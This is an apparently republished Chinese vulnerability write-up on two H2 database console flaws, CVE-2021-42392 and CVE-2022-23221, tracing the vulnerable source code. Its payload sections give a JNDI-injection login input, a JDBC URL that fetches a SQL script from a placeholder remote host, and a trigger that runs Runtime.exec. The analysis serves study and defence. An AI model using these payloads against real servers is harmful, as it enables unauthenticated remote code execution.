一、H2简介
H2数据库是一个开源的关系型数据库。H2是一个采用java语言编写的嵌入式数据库引擎,只是一个类库(即只有一个 jar 文件),可以直接嵌入到应用项目中,不受平台的限制 应用场景:
-
可以同应用程序打包在一起发布,可以非常方便地存储少量结构化数据 -
可用于单元测试 -
可以用作缓存,即当做内存数据库
H2的产品优势:
-
纯Java编写,不受平台的限制; -
只有一个jar文件,适合作为嵌入式数据库使用; -
h2提供了一个十分方便的web控制台用于操作和管理数据库内容; -
功能完整,支持标准SQL和JDBC。麻雀虽小五脏俱全; -
支持内嵌模式、服务器模式和集群。
二、CVE-2021-42392
1、漏洞简介
H2是开源的轻量级Java数据库,可以嵌入Java应用程序中或以客户端-服务器模式运行。H2数据库可以配置为内存数据库运行,这意味着数据将不会持久存储在磁盘上,使得H2成为各种项目的流行数据存储解决方案。近日,新华三攻防实验室威胁预警团队监测到网上爆发了H2数据库控制台远程代码执行漏洞(CVE-2021-42392),该漏洞的原理与Apache Log4jShell (CVE-2021-44228)相似,成功利用此漏洞可在目标服务器上执行任意代码。该漏洞的根本原因类似于 Log4Shell,由于H2 数据库框架中的多个代码未能正确处理用户的输入,恶意攻击者通过发送带有恶意命令的URI至服务器,服务器将该请求传递给javax.naming.Context.lookup函数,从而导致未经身份验证的远程代码执行。由于该漏洞直接影响H2控制台服务器,有明确影响范围,所以并不像Apache Log4jShell影响广泛,但由于H2被许多第三方框架使用,且成功利用后造成的影响严重,建议受影响用户尽快更新安全补丁。
2、影响范围
1.1.100<= H2 Console <= 2.0.204
3、漏洞分析
3.1、JdbcUtils 存在 JNDI 注入
org.h2.util.JdbcUtils#getConnection()
// 此方法调用至下方getConnection()
public static Connection getConnection(String driver, String url,
String user, String password) throws SQLException {
return getConnection(driver, url, user, password, null);
}
public static Connection getConnection(String driver, String url, String user, String password,
NetworkConnectionInfo networkConnectionInfo) throws SQLException {
// url 以 "jdbc:h2:" 开头则进入此 if
if (url.startsWith(Constants.START_URL)) {
JdbcConnection connection = new JdbcConnection(url, null, user, password);
if (networkConnectionInfo != null) {
connection.getSession().setNetworkConnectionInfo(networkConnectionInfo);
}
return connection;
}
// url 为空进入此 if
if (StringUtils.isNullOrEmpty(driver)) {
JdbcUtils.load(url);
//url 不为空进入
} else {
//最终调用 return Class.forName(driver)
Class<?> d = loadUserClass(driver);
try {
//driver 传入类 实现 Driver 接口进入此方法
if (java.sql.Driver.class.isAssignableFrom(d)) {
Driver driverInstance = (Driver) d.getDeclaredConstructor().newInstance();
Properties prop = new Properties();
if (user != null) {
prop.setProperty("user", user);
}
if (password != null) {
prop.setProperty("password", password);
}
/*
* fix issue #695 with drivers with the same jdbc
* subprotocol in classpath of jdbc drivers (as example
* redshift and postgresql drivers)
*/
Connection connection = driverInstance.connect(url, prop);
if (connection != null) {
return connection;
}
throw new SQLException("Driver " + driver + " is not suitable for " + url, "08001");
//driver 传入类 实现 Context 接口进入此方法
} else if (javax.naming.Context.class.isAssignableFrom(d)) {
// 通过反射实例化 driver 传入类
// JNDI context
Context context = (Context) d.getDeclaredConstructor().newInstance();
// 调用lookup()存在JNDI注入
DataSource ds = (DataSource) context.lookup(url);
if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {
return ds.getConnection();
}
return ds.getConnection(user, password);
}
} catch (Exception e) {
throw DbException.toSQLException(e);
}
// don't know, but maybe it loaded a JDBC Driver
}
return DriverManager.getConnection(url, user, password);
}
以上分析可知,当调用 org.h2.util.JdbcUtils#(String driver, String url,String user, String password)
方法时,当 driver 为 "javax.naming.InitialContext",最终会调用 lookup(url) 存在JNDI注入。
3.2、H2 控制台调用 JdbcUtils
login.jsp 发送请求至 login.do
<form name="login" method="post" action="login.do?jsessionid=${sessionId}" id="login">
<p> <select name="language" size="1"
onchange="javascript:document.location='index.do?jsessionid=${sessionId}&language='+login.language.value;"
>
...
<tr class="login">
<td class="login">${text.login.driverClass}:</td>
<td class="login"><input type="text" name="driver" value="${driver}" style="width:300px;" /></td>
</tr>
<tr class="login">
<td class="login">
<a href="#" onclick="var x=document.getElementById('url').style;x.display=x.display==''?'none':'';">
${text.login.jdbcUrl}</a>:</td>
<td class="login"><input type="text" name="url" value="${url}" style="width:300px;" /></td>
</tr>
<tr class="login">
<td class="login">${text.a.user}:</td>
<td class="login"><input type="text" name="user" value="${user}" style="width:200px;" /></td>
</tr>
<tr class="login">
<td class="login">${text.a.password}:</td>
<td class="login"><input type="password" name="password" value="" style="width:200px;" /></td>
</tr>
<tr class="login">
<td class="login"></td>
<td class="login">
<input type="submit" class="button" value="${text.login.connect}" />
...
org.h2.server.web.WebServlet 处理请求,调用 WebApp#processRequest()
@Override
public void doGet(HttpServletRequest req, HttpServletResponse resp)
throws IOException {
req.setCharacterEncoding("utf-8");
String file = req.getPathInfo();
if (file == null) {
resp.sendRedirect(req.getRequestURI() + "/");
return;
} else if (file.startsWith("/")) {
file = file.substring(1);
}
file = getAllowedFile(req, file);
// extract the request attributes
Properties attributes = new Properties();
Enumeration<?> en = req.getAttributeNames();
while (en.hasMoreElements()) {
String name = en.nextElement().toString();
String value = req.getAttribute(name).toString();
attributes.put(name, value);
}
en = req.getParameterNames();
while (en.hasMoreElements()) {
String name = en.nextElement().toString();
String value = req.getParameter(name);
attributes.put(name, value);
}
WebSession session = null;
String sessionId = attributes.getProperty("jsessionid");
if (sessionId != null) {
session = server.getSession(sessionId);
}
WebApp app = new WebApp(server);
app.setSession(session, attributes);
String ifModifiedSince = req.getHeader("if-modified-since");
String scheme = req.getScheme();
StringBuilder builder = new StringBuilder(scheme).append("://").append(req.getServerName());
int serverPort = req.getServerPort();
if (!(serverPort == 80 && scheme.equals("http") || serverPort == 443 && scheme.equals("https"))) {
builder.append(':').append(serverPort);
}
String path = builder.append(req.getContextPath()).toString();
file = app.processRequest(file, new NetworkConnectionInfo(path, req.getRemoteAddr(), req.getRemotePort()));
session = app.getSession();
...
}
@Override
public void doPost(HttpServletRequest req, HttpServletResponse resp)
throws IOException {
doGet(req, resp);
}
org.h2.server.web.WebApp#processRequest() 根据请求不同调用不同逻辑
String processRequest(String file, NetworkConnectionInfo networkConnectionInfo) {
int index = file.lastIndexOf('.');
String suffix;
if (index >= 0) {
suffix = file.substring(index + 1);
} else {
suffix = "";
}
if ("ico".equals(suffix)) {
mimeType = "image/x-icon";
cache = true;
...
if (file.endsWith(".do")) {
file = process(file, networkConnectionInfo);
} else if (file.endsWith(".jsp")) {
switch (file) {
case "admin.jsp":
case "tools.jsp":
if (!checkAdmin(file)) {
file = process("adminLogin.do", networkConnectionInfo);
}
}
}
return file;
}
org.h2.server.web.WebApp#process() 根据请求调用不同方法
private String process(String file, NetworkConnectionInfo networkConnectionInfo) {
trace("process " + file);
while (file.endsWith(".do")) {
switch (file) {
case "login.do":
file = login(networkConnectionInfo);
break;
case "index.do":
file = index();
break;
case "logout.do":
...
org.h2.server.web.WebApp#login() 调用 WebServer#getConnection()
private String login(NetworkConnectionInfo networkConnectionInfo) {
String driver = attributes.getProperty("driver", "");
String url = attributes.getProperty("url", "");
String user = attributes.getProperty("user", "");
String password = attributes.getProperty("password", "");
session.put("autoCommit", "checked");
session.put("autoComplete", "1");
session.put("maxrows", "1000");
boolean isH2 = url.startsWith("jdbc:h2:");
try {
//调用至 getConnection()
Connection conn = server.getConnection(driver, url, user, password, (String) session.get("key"),
networkConnectionInfo);
session.setConnection(conn);
session.put("url", url);
session.put("user", user);
session.remove("error");
settingSave();
return "frame.jsp";
} catch (Exception e) {
session.put("error", getLoginError(e, isH2));
return "login.jsp";
}
}
org.h2.server.web.WebServer#getConnection() 调用 JdbcUtils.getConnection 存在JNDI注入
Connection getConnection(String driver, String databaseUrl, String user,
String password, String userKey, NetworkConnectionInfo networkConnectionInfo) throws SQLException {
driver = driver.trim();
databaseUrl = databaseUrl.trim();
if (databaseUrl.startsWith("jdbc:h2:")) {
if (!allowSecureCreation || key == null || !key.equals(userKey)) {
if (ifExists) {
databaseUrl += ";FORBID_CREATION=TRUE";
}
}
}
// do not trim the password, otherwise an
// encrypted H2 database with empty user password doesn't work
return JdbcUtils.getConnection(driver, databaseUrl, user.trim(), password, networkConnectionInfo);
}
4、payload
综上分析 login.jsp 页面 输入以下值即可触发 JNDI注入
-
Driver Class 为 javax.naming.Context.lookup -
JDBC URL 为 恶意 JNDI 地址
注:
-
此漏洞利用于无需通过身份校验 -
JNDI 注入受限于 JDK 版本
三、CVE-2022-23221
1、漏洞简介
H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+ 中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含 IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT 子字符串的 jdbc:h2:mem JDBC URL 执行任意代码。
2、影响范围
1.1.100<= H2 Console <= 2.1.210
3、payload
3.1H2 SQL语句命令执行
H2 数据库可在SQL语句中执行java代码
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
java.lang.Runtime.getRuntime().exec("calc");';
INSERT INTO TEST VALUES (1);
3.2H2 console页面未授权执行SQL语句
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT
FROM 'http://xxx.xxx.xxx.xxx/xxx.sql';
xxx.sql
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
java.lang.Runtime.getRuntime().exec("calc");';
INSERT INTO TEST VALUES (1);
如您有问题、建议、需求、合作、加群交流请后台留言或添加微信
原文始发于微信公众号(白给信安):H2数据库漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论